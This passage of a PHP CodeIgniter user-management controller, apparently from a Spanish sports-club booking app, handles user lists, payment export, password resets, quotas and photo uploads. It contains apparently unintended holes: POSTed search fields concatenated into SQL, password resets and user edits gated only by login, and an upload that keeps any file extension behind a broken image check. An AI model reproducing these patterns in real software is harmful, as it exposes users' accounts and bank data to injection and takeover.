$profiles_visualization = $this->config->item('profiles_visualization_permission');
$profile=$this->redux_auth->profile();
$user_group = $profile->group;
if(!$profiles_visualization[$user_group]) {
$this->session->set_userdata('error_message', 'Acceso a esa opción no permitido');
redirect(site_url(), 'Location');
exit();
}
} else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
$this->session->set_userdata('error_message', 'Acceso a esa opción no permitido');
redirect(site_url(), 'Location');
exit();
}
$colmodel = " {name:'id',index:'users.id', width:1, align:'center',hidden:true},
{name:'nombre_completo',index:'meta.last_name', width:20, align:'center'},
{name:'email', index:'users.email', width:25, align:'center'},
{name:'group_desc',index:'groups.description', width:10, align:'center'},
{name:'phone', index:'meta.phone', width:10, align:'center'},
{name:'create_time', index:'users.create_time', width:12, align:'center'}";
$colnames = "'Id', 'Nombre', 'Email', 'Nivel', 'Telefono', 'Fecha de alta'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "users/jqgrid_list_all",
'title' => 'Listado de usuarios',
'default_orderfield' => 'last_name',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '820',
'row_list_options' => '10,20,50',
);
switch($option) {
case "active":
$para_grid['data_url'] = 'users/jqgrid_list_active';
$para_grid['title'] = 'Listado de usuarios activos';
break;
case "inactive":
$para_grid['data_url'] = 'users/jqgrid_list_inactive';
$para_grid['title'] = 'Listado de usuarios inactivos';
break;
case "quotas":
$para_grid['data_url'] = 'users/jqgrid_list_quotas';
$para_grid['title'] = 'Listado de usuarios con cuota';
break;
case "next_quotas":
$para_grid['data_url'] = 'users/jqgrid_list_next_quotas';
$para_grid['title'] = 'Listado de usuarios con cuotas proximas a expirar';
break;
case "old_quotas":
$para_grid['data_url'] = 'users/jqgrid_list_old_quotas';
$para_grid['title'] = 'Listado de usuarios con cuotas impagadas';
break;
case "users":
$para_grid['data_url'] = 'users/jqgrid_list_users';
$para_grid['title'] = 'Listado de usuarios';
break;
case "members":
$para_grid['data_url'] = 'users/jqgrid_list_members';
$para_grid['title'] = 'Listado de socios';
break;
case "teacher":
$para_grid['data_url'] = 'users/jqgrid_list_teacher';
$para_grid['title'] = 'Listado de profesores';
break;
}
# Exportaciรณn
if(isset($export) && $export != '') {
switch($export) {
case 'excel':
default:
$datos = $this->jqgrid_list_all($param, 'return_rows');
echo '<pre>';print_r($datos);exit();
$this->output->set_header("Content-type: application/vnd.ms-excel");
$this->output->set_header("Content-Disposition: attachment;filename=export_users_".time().".xls");
$salida="";
$salida='<table boder="1">'."\r\n";
$salida.='<tr><td>Id Usuario</td><td>Usuario</td><td>Cantidad</td><td>Fecha</td><td>Fecha Valor</td><td>Ticket</td><td>Descripcion</td><td>Cuenta</td><td>Titular</td></tr>';
foreach($datos as $pago) {
$salida.='<tr>'."\r\n";
$i=0;
$salida.='<td>'.$pago['id_user'].'</td>'."\r\n";
$salida.='<td>'.$pago['desc_user'].'</td>'."\r\n";
$salida.='<td>'.$pago['quantity'].'</td>'."\r\n";
$salida.='<td>'.$pago['date'].'</td>'."\r\n";
$salida.='<td>'.$pago['fecha_valor'].'</td>'."\r\n";
$salida.='<td>'.$pago['ticket_number'].'</td>'."\r\n";
$salida.='<td>'.$pago['description'].'</td>'."\r\n";
$salida.='<td>'.$pago['bank'].'-'.$pago['bank_office'].'-'.$pago['bank_dc'].'-'.$pago['bank_account'].'</td>'."\r\n";
$salida.='<td>'.$pago['bank_titular'].'</td>'."\r\n";
$salida.='</tr>'."\r\n";
}
$salida.='</table>';
$this->output->set_output($salida);
return NULL;
//redirect(site_url('facturacion/list_all/'.$param), 'Location');
//exit();
//print('<pre>');print_r($datos); exit();
//echo 'a';
break;
}
}
$grid_code = '<div style="position:relative; width: 820px; height: 600px; float: right;">'.jqgrid_creator($para_grid).'</div>';
$menu_lateral = $this->load->view('menu_lateral_gestion', '', true);
$permisos = array('export_excel' => TRUE);
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('gestion/submenu_navegacion', array(), true)), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
//'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true),
'main_content' => $this->load->view('users/list_all', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'permisos' => $permisos, 'menu_lateral' => $menu_lateral), true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
# Carga de la vista principal
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# devuelve listados de usuarios para jqGrid en JSON
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Listado de activos
public function jqgrid_list_active ()
{
$opcion = array('where' => "users.active = '1'");
$this->jqgrid_list_all($opcion);
}
# Listado de inactivos
public function jqgrid_list_inactive ()
{
$opcion = array('where' => "(users.active = '' OR users.active = '0' OR users.active IS NULL)");
$this->jqgrid_list_all($opcion);
}
# Listado de usuarios con cuota
public function jqgrid_list_quotas ()
{
$opcion = array('where' => "(meta.code_price is not null and meta.code_price<>'')");
$this->jqgrid_list_all($opcion);
}
# Listado de usuarios con cuota a punto de caducar segun el valor del config de preaviso
public function jqgrid_list_next_quotas ()
{
$opcion = array('where' => "(meta.code_price is not null and meta.code_price<>'' and meta.last_payd_date is not null and meta.last_payd_date>'".date($this->config->item('date_db_format'), strtotime(date('U').' +'.$this->config->item('users_qouta_caducity_days').'days'))."')");
$this->jqgrid_list_all($opcion);
}
# Listado de usuarios con cuota a punto de caducar segun el valor del config de preaviso
public function jqgrid_list_old_quotas ()
{
$opcion = array('where' => "(meta.code_price is not null and meta.code_price<>'' and (meta.last_payd_date is null or meta.last_payd_date<='".date($this->config->item('date_db_format'))."'))");
$this->jqgrid_list_all($opcion);
}
# Listado de usuarios de nivel 'user'
public function jqgrid_list_users ()
{
$opcion = array('where' => "(users.group_id=7)");
$this->jqgrid_list_all($opcion);
}
# Listado de usuarios de nivel 'socio'
public function jqgrid_list_members ()
{
$opcion = array('where' => "(users.group_id=6)");
$this->jqgrid_list_all($opcion);
}
# Listado de usuarios de nivel 'profesor'
public function jqgrid_list_teacher ()
{
$opcion = array('where' => "(users.group_id=5)");
$this->jqgrid_list_all($opcion);
}
public function jqgrid_list_all ($option = NULL)
{
$this->load->model('redux_auth_model', 'users', TRUE);
$where = '';
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
if($user_group > '3') $where = "users.id = '".$profile->id."'";
} else {
exit(0);
}
//$req_param = array ();
$req_param = array (
"orderby" => $this->input->post( "sidx", TRUE ),
"orderbyway" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"where" => '',
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
/*
"sort_by" => $this->input->post( "sidx", TRUE ),
"sort_direction" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
"search_field_1" => "msg_to",
"search_field_2" => "msg_in_inbox",
"user_id" => $this->session->userdata('user_id')
*/
);
if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') {
if(trim($where)!="") $where .= ' AND ';
$where .= $req_param['search_field'];
switch($req_param['search_operator']) {
case 'cn':
$where .=' LIKE \'%'.$req_param['search_str'].'%\' ';
break;
}
}
$req_param['where'] = $where;
if(isset($option) && $option['where']!='') {
if(trim($req_param['where'])!="") $req_param['where'] .= ' AND ';
$req_param['where'].= $option['where'];
}
$data->page = $this->input->post( "page", TRUE );
$data->records = count ($this->users->get_data($req_param,"all")->result_array());
if(!isset($req_param['num_rows']) || $req_param['num_rows'] == 0 || $req_param['num_rows'] == '') $req_param['num_rows'] = 100000000;
$data->total = ceil ($data->records / $req_param['num_rows'] );
$records = $this->users->get_data ($req_param, 'none')->result_array();
//print("<pre>");print_r($records);
$i = 0;
foreach($records as $record) {
$records[$i]['nombre_completo'] = $record['first_name'];
if($record['first_name']!="") $records[$i]['nombre_completo'].=' '.$record['last_name'];
$i++;
}
$data->rows = $records;
echo json_encode ($data );
exit( 0 );
}
# -------------------------------------------------------------------
# Funcion que cambia el estado del usuario
# -------------------------------------------------------------------
function change_status($code_user)
{
$this->load->model('redux_auth_model', 'users', TRUE);
if($this->redux_auth->logged_in())
{
$result = $this->users->change_status($code_user);
if ($result)
{
/* introducir mensaje */
}
else
{
/* introducir mensaje */
}
}
else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
redirect(site_url(), 'Location');
exit();
}
redirect(site_url('users'), 'Location');
exit();
}
# -------------------------------------------------------------------
# Funcion que cambia el estado del usuario
# -------------------------------------------------------------------
function reset_password($code_user = NULL, $password = NULL)
{
$this->load->model('redux_auth_model', 'users', TRUE);
if($this->redux_auth->logged_in())
{
$returnUrl = $this->input->post('returnUrl');
if(!isset($code_user)) $code_user = $this->input->post('id_user');
if(!isset($password)) $password = $this->input->post('new_password');
$result = $this->users->change_password_admin($code_user, $password);
if ($result)
{
$this->session->set_userdata('info_message', 'Password actualizado.');
}
else
{
$this->session->set_userdata('error_message', 'Password NO actualizado.');
/* introducir mensaje */
}
if($returnUrl!='') redirect($returnUrl, 'Location');
else redirect(site_url(), 'Location');
exit();
}
else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
redirect(site_url(), 'Location');
exit();
}
//exit($this->session->userdata('error_message')."A");
$this->index();
}
# -------------------------------------------------------------------
# Funcion para cargar cuota de usuario
# -------------------------------------------------------------------
function pay_quota($code_user)
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->library('users_lib');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$visualization_permission = $this->config->item('profiles_visualization_permission');
if(!$visualization_permission[$profile->group]) {
$this->session->set_userdata('error_message', 'No tiene permisos para visualizar esa pagina.');
redirect(site_url(), 'Location');
exit();
}
} else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
$this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.');
redirect(site_url(), 'Location');
exit();
}
if($this->redux_auth->logged_in())
{
# recupero los datos del usuario
$array_result = $this->users->get_user($code_user);
$payable_quota = $this->input->post('payable_quota');
$payd_date_tmp = $this->input->post('payd_date');
$returnUrl = $this->input->post('returnUrl');
if($returnUrl=='') $returnUrl = site_url('users/detail/'.$array_result['user_id']);
//echo $returnUrl;
$paymentway = $this->input->post('paymentway');
//echo $payable_quota;
//echo '<br/>'.$payd_date_tmp;
//print("<pre>");print_r($_POST);
//echo '<br>last_payd_date:'.$array_result['last_payd_date'];
//exit();
$estado = 9;
if( $paymentway == 4) $estado = 2;
$pagado = $this->users_lib->pay_user_quota($code_user, array('payable_quota' => $payable_quota, 'payd_date_tmp' => $payd_date_tmp, 'status' => $estado, 'paymentway' => $paymentway, 'code_price' => $array_result['code_price'], 'name' => trim($array_result['user_name'].' '.$array_result['user_lastname']), 'group_id' => $array_result['group_id']));
if($pagado) {
redirect($returnUrl, 'Location');
exit();
} else {
$this->session->set_userdata('error_message', 'Error en la información del pago.');
redirect($returnUrl, 'Location');
exit();
}
exit();
}
}
# -------------------------------------------------------------------
# Funcion que muestra el detalle del usuario
# -------------------------------------------------------------------
function detail($code_user)
{
$this->load->model('redux_auth_model', 'users', TRUE);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$visualization_permission = $this->config->item('profiles_visualization_permission');
if(!$visualization_permission[$profile->group]) {
$this->session->set_userdata('error_message', 'No tiene permisos para visualizar esa pagina.');
redirect(site_url(), 'Location');
exit();
}
} else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
$this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.');
redirect(site_url(), 'Location');
exit();
}
if($this->redux_auth->logged_in())
{
$perfiles_permission = $this->config->item('profiles_visualization_permission');
# Si es el mismo usuario el que quiero ver del que estรก logueado, le llevo a la pรกgina del perfil
if(!$perfiles_permission[$profile->group] && $code_user == $profile->id) { redirect(site_url('users/profile'), 'Location'); exit(); }
# Pagina de retorno del formulario
$returnUrl = $this->session->userdata('returnUrl');
//echo '---'.$returnUrl.'---'.$this->session->userdata('returnUrl');
$this->session->unset_userdata('returnUrl');
if(!isset($returnUrl)) $returnUrl = site_url('users/index');
$this->session->set_userdata('returnUrl', current_url());
# Carga de niveles para la vista
$array_groups = $this->users->get_groups();
# Carga de paรญses para la vista
$array_country = $this->users->get_countries();
# Carga de ciudades para la vista
$array_province = $this->users->get_provinces();
# Carga de niveles para la vista
//$array_levels = $this->users->get_levels();
# recupero los datos del usuario
$array_result = $this->users->get_user($code_user);
if ($array_result != null)
{
# Compruebo si me llega por POST un nivel de usuario diferente.. y le doy preferencia.
$grupo_tmp = $this->input->post('group_id');
if(isset($grupo_tmp) && $grupo_tmp != '') $array_result['group_id'] = $grupo_tmp;
//print("<pre>");print_r($array_result);
$tarifa_enabled = FALSE;
$tarifas_permission = $this->config->item('users_quota_group');
if($tarifas_permission[$array_result['group_id']]) $tarifa_enabled = TRUE;
$tarifa_payable = $tarifa_enabled;
if(!isset($array_result['code_price']) || $array_result['code_price'] == '' || $array_result['code_price'] == '0') $tarifa_payable = FALSE;
$change_pwd_enabled = FALSE;
$change_pwd_enabled_permission = $this->config->item('users_password_admin_change');
if($change_pwd_enabled_permission[$profile->group]) $change_pwd_enabled = TRUE;
# Para ver si muestro el nรบmero de socio
$numero_socio_visible = $this->config->item('users_member_number_visibility');
$numero_socio_visible_grupos = $this->config->item('users_member_number_visibility_by_group');
if($numero_socio_visible) $numero_socio_visible = $numero_socio_visible_grupos[$array_result['group_id']];
$numero_socio_automatico = $this->config->item('users_member_number_auto');
# Gestiรณn de carnet de socio
$carnet_permission = $this->config->item('users_carnet_enabled');
$carnet_permission = $this->config->item('users_carnet_template_by_group');
$carnet_enabled = FALSE;
if($this->config->item('users_carnet_enabled') && isset($carnet_permission) && $carnet_permission[$array_result['group_id']] != '') $carnet_enabled = TRUE;
$quota = 0;
if($array_result['code_price']!='') $quota = $this->users->get_userQuota($array_result);
//if($array_result['code_price']!='') echo '<br>-------'.$array_result['code_price'];
//echo "Cuota: ".$quota;
# Carga de tarifas posibles
$array_quotas = $this->users->get_quotas();
$extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n";
$next_payment_date = date($this->config->item('reserve_date_filter_format'), strtotime($this->users->getNextPaymentDate($code_user)));
//echo $next_payment_date;
# Carga de datos para la vista
$data=array(
'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('users/submenu_navegacion_detail', array(), true)), true),
'menu' => $this->load->view('menu', '', true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
//'filters' => $this->load->view('reservas_gest/filters', array('search_fields' => $this->simpleSearchFields()), true),
'form' => 'formDetail',
'page' => 'users/user_detail',
'code_user' => $code_user,
'array_user' => $array_result,
'array_groups' => $array_groups,
'array_country' => $array_country,
'array_province' => $array_province,
'array_quotas' => $array_quotas,
'tarifa_enabled' => $tarifa_enabled,
'tarifa_payable' => $tarifa_payable,
'carnet_enabled' => $carnet_enabled,
'numero_socio_visible' => $numero_socio_visible,
'numero_socio_automatico' => $numero_socio_automatico,
'change_pwd_enabled' => $change_pwd_enabled,
'quota' => $quota,
'next_payment_date' => $next_payment_date,
'returnUrl' => $returnUrl,
//'enable_grid' => 1,
//'js_grid' => $grid_js,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
/* pintar */
}
else
{
/* error */
//print "ERROR pasa por aqui";
$this->session->set_userdata('error_message', 'Informacion de usuario no disponible o usuario inexistente.');
redirect(site_url(), 'Location');
exit();
}
}
else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
redirect(site_url(), 'Location');
exit();
}
}
# -------------------------------------------------------------------
# Funcion que muestra el perfil de un usuario para su propia consulta.. con acceso a sus reservas, pagos, etc..
# -------------------------------------------------------------------
function profile()
{
$this->load->model('redux_auth_model', 'users', TRUE);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group = $profile->group;
$code_user = $profile->id;
$profiles_visualization = $this->config->item('profiles_visualization_permission');
$panel_permission = $this->config->item('bookings_visualization_permission');
if(!$profiles_visualization[$user_group] && !$panel_permission[$user_group] && $code_user != $profile->id) {
$this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido');
redirect(site_url(), 'Location');
exit();
}
} else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
redirect(site_url(), 'Location');
exit();
}
# opciones del menu
$menu=array('menu' => $this->app_common->get_menu_options());
if($this->redux_auth->logged_in())
{
# Carga de niveles para la vista
$array_groups = $this->users->get_groups();
# Carga de paรญses para la vista
$array_country = $this->users->get_countries();
# Carga de ciudades para la vista
$array_province = $this->users->get_provinces();
# Carga de niveles para la vista
//$array_levels = $this->users->get_levels();
# recupero los datos del usuario
$array_result = $this->users->get_user($code_user);
//print_r($array_result);
if ($array_result != null)
{
//print("<pre>");print_r($array_result);
$tarifa_enabled = FALSE;
$tarifas_permission = $this->config->item('users_quota_group');
if($tarifas_permission[$array_result['group_id']]) $tarifa_enabled = TRUE;
$quota = 0;
if($array_result['code_price']!='') $quota = $this->users->get_userQuota($array_result);
# Para ver si muestro el nรบmero de socio
$numero_socio_visible = $this->config->item('users_member_number_visibility');
$numero_socio_visible_grupos = $this->config->item('users_member_number_visibility_by_group');
if($numero_socio_visible) $numero_socio_visible = $numero_socio_visible_grupos[$array_result['group_id']];
$numero_socio_automatico = $this->config->item('users_member_number_auto');
//echo "Cuota: ".$quota;
# Carga de tarifas posibles
$array_quotas = $this->users->get_quotas();
$extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n";
# Carga de datos para la vista
$data=array(
'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('users/submenu_navegacion', array(), true)), true),
'menu' => $this->load->view('menu', $menu, true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
//'filters' => $this->load->view('reservas_gest/filters', array('search_fields' => $this->simpleSearchFields()), true),
'form' => 'formDetail',
'page' => 'users/user_profile',
'code_user' => $code_user,
'array_user' => $array_result,
'array_groups' => $array_groups,
'array_country' => $array_country,
'array_province' => $array_province,
'array_quotas' => $array_quotas,
'tarifa_enabled' => $tarifa_enabled,
'quota' => $quota,
'numero_socio_automatico' => $numero_socio_automatico,
'numero_socio_visible' => $numero_socio_visible,
//'array_levels' => $array_levels,
//'enable_grid' => 1,
//'js_grid' => $grid_js,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->session->set_userdata('returnUrl', site_url('users/profile/'.$code_user));
$this->load->view('main', $data);
/* pintar */
}
else
{
/* error */
print "ERROR pasa por aqui";
}
}
else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
redirect(site_url(), 'Location');
exit();
}
}
# -------------------------------------------------------------------
# Devuelve el listado de reservas por usuario
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que permite aรฑadir saldo prepago al usuario
# -------------------------------------------------------------------
function add_prepaid($code_user, $command = NULL, $control = NULL)
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
} else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
redirect(site_url(), 'Location');
exit();
}
if($this->redux_auth->logged_in())
{
$amount = $this->input->post('amount');
$codigo_pedido = time('U').'pr';
/* DEFINIR AQUI LO QUE RECIBA POR POST (CANTIDAD, FORMA DE PAGO...) PARA PASAR PARรMETROS A LA FUNCION .. */
if(isset($command) && isset($control) && md5($code_user)==$control) {
//echo $this->input->post('amount');
//echo $amount;
//print_r($_POST);
//exit("AA");
$this->users->addPrepaidMovement($code_user, $amount, '3', $command, date('U'));
$this->pagos->updatePaymentStatus('id_transaction', $this->input->post('order_num'), '9');
$this->session->set_userdata('info_message', 'Saldo prepago actualizado.');
redirect(site_url('users/add_prepaid/'.$code_user), 'Location');
exit();
}
if($amount!='') {
$this->pagos->id_type=3; //Reserva de pista
$this->pagos->id_element=$this->session->userdata('session_id');
$this->pagos->id_transaction=$codigo_pedido;
$this->pagos->id_user=$code_user;
$this->pagos->id_paymentway='';
$this->pagos->status=5;
$this->pagos->quantity=$amount;
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Recarga al bono prepago';
$this->pagos->create_user=$profile->id;
$this->pagos->create_time=date($this->config->item('log_date_format'));
$this->pagos->setPayment();
}
# Carga de datos para la vista
$extra = '<script type="text/javascript" src="'.base_url().'js/jquery.maskedinput-1.2.2.min.js"></script>'."\r\n";
$proximo_pago = intval($this->users->getLastPrepaidMovement($code_user)) + 1;
if($profile->group <= 5) $cancelUrl = site_url('users');
else $cancelUrl = site_url();
$data=array(
'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
//'filters' => $this->load->view('reservas_gest/filters', array('search_fields' => $this->simpleSearchFields()), true),
//'form_name' => 'formDetail',
'page' => 'users/add_prepaid',
'grupo' => $profile->group,
'cancelUrl' => $cancelUrl,
'proximo_pago' => $proximo_pago,
'codigo_pedido' => $codigo_pedido,
'pre_ammount' => $this->users->getPrepaidCash($code_user),
'user_desc' => $this->users->getUserDesc($code_user),
'control' => md5($code_user),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
/* pintar */
}
else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
redirect(site_url(), 'Location');
exit();
}
}
# -------------------------------------------------------------------
# Funcion que guarda la imagen del usuario activo
# -------------------------------------------------------------------
function upload_photo($usuario)
{
$this->load->model('redux_auth_model', 'users', TRUE);
if($this->redux_auth->logged_in())
{
//print("<pre>");
//print_r($_POST);
//print_r($_FILES);
//exit();
log_message('debug', 'FILES: '.var_export($_FILES, true));
if($_FILES['archivo']['size'] > 300000) {
$this->session->set_userdata('error_message', 'El tamaño del fichero excede el máximo (300KB).');
redirect(site_url('users/detail/'.$usuario), 'Location');
exit();
}
if(strstr($_FILES['archivo']['size'], 'image')) {
$this->session->set_userdata('error_message', 'El fichero enviado no es una imagen con formato válido.');
redirect(site_url('users/detail/'.$usuario), 'Location');
exit();
}
$raiz = $this->config->item('root_path');
if(!isset($raiz) || $raiz=='') {
$this->session->set_userdata('error_message', 'Problema en la configuración. Contacte con el administrador.');
redirect(site_url('users/detail/'.$usuario), 'Location');
exit();
}
$troceo = explode('.', $_FILES['archivo']['name']);
$extension = $troceo[count($troceo)-1];
$ruta_destino = $raiz.'images/users/'.$usuario.'.'.$extension;
log_message('debug', $_FILES['archivo']['tmp_name']. ' --- ' .$ruta_destino);
if(file_exists($_FILES['archivo']['tmp_name'])) {
log_message('debug', 'fichero existe');
if(is_dir($_FILES['archivo']['tmp_name'])) log_message('debug', 'es directorio');
else log_message('debug', ' es fichero');
} else log_message('debug', 'fichero No existe');
//echo $ruta_destino; //exit();
if(file_exists($ruta_destino)) @unlink($ruta_destino);
@copy($_FILES['archivo']['tmp_name'], $ruta_destino);
$this->users->setAvatar($usuario, $extension);
$this->session->set_userdata('info_message', 'Fotografía actualizada.');
redirect(site_url('users/detail/'.$usuario), 'Location');
exit();
}
}
# -------------------------------------------------------------------
# Funcion que actualiza los datos de un usuario
# -------------------------------------------------------------------
function edit_user()
{
$this->load->model('redux_auth_model', 'users', TRUE);
if($this->redux_auth->logged_in())
{
//$active_user_init = $this->input->post('user_active');
$allow_phone_notification = $this->input->post('allow_phone_notification');
$allow_mail_notification = $this->input->post('allow_mail_notification');
$active_user = $this->input->post('user_active');
# Cargo datos previos a grabar, para comprobar valores de antes y despues.
$code_user = $this->input->post('id_user');
$array_result = $this->users->get_user($code_user);
$nivel_a_grabar = $this->input->post('group_id');
//if ($active_user_init == "1") $active_user = '1';
//print("<pre>");print_r($_POST);//exit();
$arrayUser = array(
'id' => $this->input->post('id_user'),
'first_name' => $this->input->post('first_name'),
'last_name' => $this->input->post('last_name'),
'group_id' => $this->input->post('group_id'),
'group_description' => $this->input->post('group_description'),
'code' => $this->input->post('code'),
'email' => $this->input->post('email'),
'active' => $active_user,
'phone' => $this->input->post('user_phone'),
'mobile_phone' => $this->input->post('mobile_phone'),
'address' => $this->input->post('address'),
'cp' => $this->input->post('cp'),
'population' => $this->input->post('population'),
'code_province' => $this->input->post('code_province'),
'code_country' => $this->input->post('code_country'),
'gender' => $this->input->post('gender'),
'nif' => $this->input->post('nif'),
'birth_date' => date($this->config->item('date_db_format'), strtotime($this->input->post('birth_date'))),
'bank' => $this->input->post('bank'),
'bank_office' => $this->input->post('bank_office'),
'bank_dc' => $this->input->post('bank_dc'),
'bank_account' => $this->input->post('bank_account'),
'bank_titular' => $this->input->post('bank_titular'),
'bank_iban' => $this->input->post('bank_iban'),
'bank_bic' => $this->input->post('bank_bic'),
'allow_phone_notification' => $allow_phone_notification,
'allow_mail_notification' => $allow_mail_notification,
'reto_lunes' => $this->input->post('lunes'),
'reto_martes' => $this->input->post('martes'),
'reto_miercoles' => $this->input->post('miercoles'),
'reto_jueves' => $this->input->post('jueves'),
'reto_viernes' => $this->input->post('viernes'),
'reto_sabado' => $this->input->post('sabado'),
'reto_domingo' => $this->input->post('domingo'),
'reto_manana' => $this->input->post('manana'),
'reto_tarde' => $this->input->post('tardes'),
'reto_finde' => $this->input->post('finde'),
'reto_notifica' => $this->input->post('avisar_retos'),
'player_level' => $this->input->post('player_level'),
);
if(($this->input->post('code_price'))) $arrayUser['code_price'] = $this->input->post('code_price');
if(($this->input->post('notas'))) $arrayUser['notas'] = $this->input->post('notas');
$numero_socio_visible_grupos = $this->config->item('users_member_number_visibility_by_group');
$numero_socio_auto = $this->config->item('users_member_number_auto');
if(!isset($numero_socio_auto)) $numero_socio_auto = FALSE;
//echo '--'.$nivel_a_grabar;print_r($numero_socio_visible_grupos);print_r($array_result);
if((!isset($array_result['numero_socio']) || $array_result['numero_socio']=='' || $array_result['numero_socio']=='0') && $numero_socio_visible_grupos[$nivel_a_grabar] && $numero_socio_auto) $arrayUser['numero_socio'] = $this->users->getNextMemberNumber();
elseif($numero_socio_visible_grupos[$nivel_a_grabar] && !$numero_socio_auto) $arrayUser['numero_socio'] = $this->input->post('code');
//print("<pre>");print_r($arrayUser);
//exit();
$result = $this->users->save_user($arrayUser);
if ($result)
{
/* introducir mensaje */
$this->session->set_userdata('info_message', 'El usuario se ha modificado correctamente');
}
else
{
/* introducir mensaje */
/*print 'Error';*/
}
}
else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
redirect(site_url(), 'Location');
exit();
}
$this->session->set_userdata('info_message', 'Grabado satisfactoriamente');
$returnUrl = $this->session->userdata('returnUrl');
$this->session->unset_userdata('returnUrl');
if($returnUrl!='') redirect($returnUrl, 'Location');
redirect(site_url('users/detail/'.$this->input->post('id_user')), 'Location');
exit();
//$this->detail($this->input->post('id_user'));
}
# -------------------------------------------------------------------
# Funcion que muestra el formulario para crear un usuario
# -------------------------------------------------------------------
function new_user()
{
$this->load->model('redux_auth_model', 'users', TRUE);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
} else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
redirect(site_url(), 'Location');
exit();
}
# opciones del menu
$menu=array('menu' => $this->app_common->get_menu_options());
if($this->config->item('auto_password')) $auto_password = TRUE;
else $auto_password = FALSE;
if($this->redux_auth->logged_in())
{
# Carga de niveles para la vista
$array_groups = $this->users->get_groups(array('exclude_anonymous' => TRUE));
# Carga de datos para la vista
$data=array(
'meta' => $this->load->view('meta', array('enable_grid'=>FALSE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
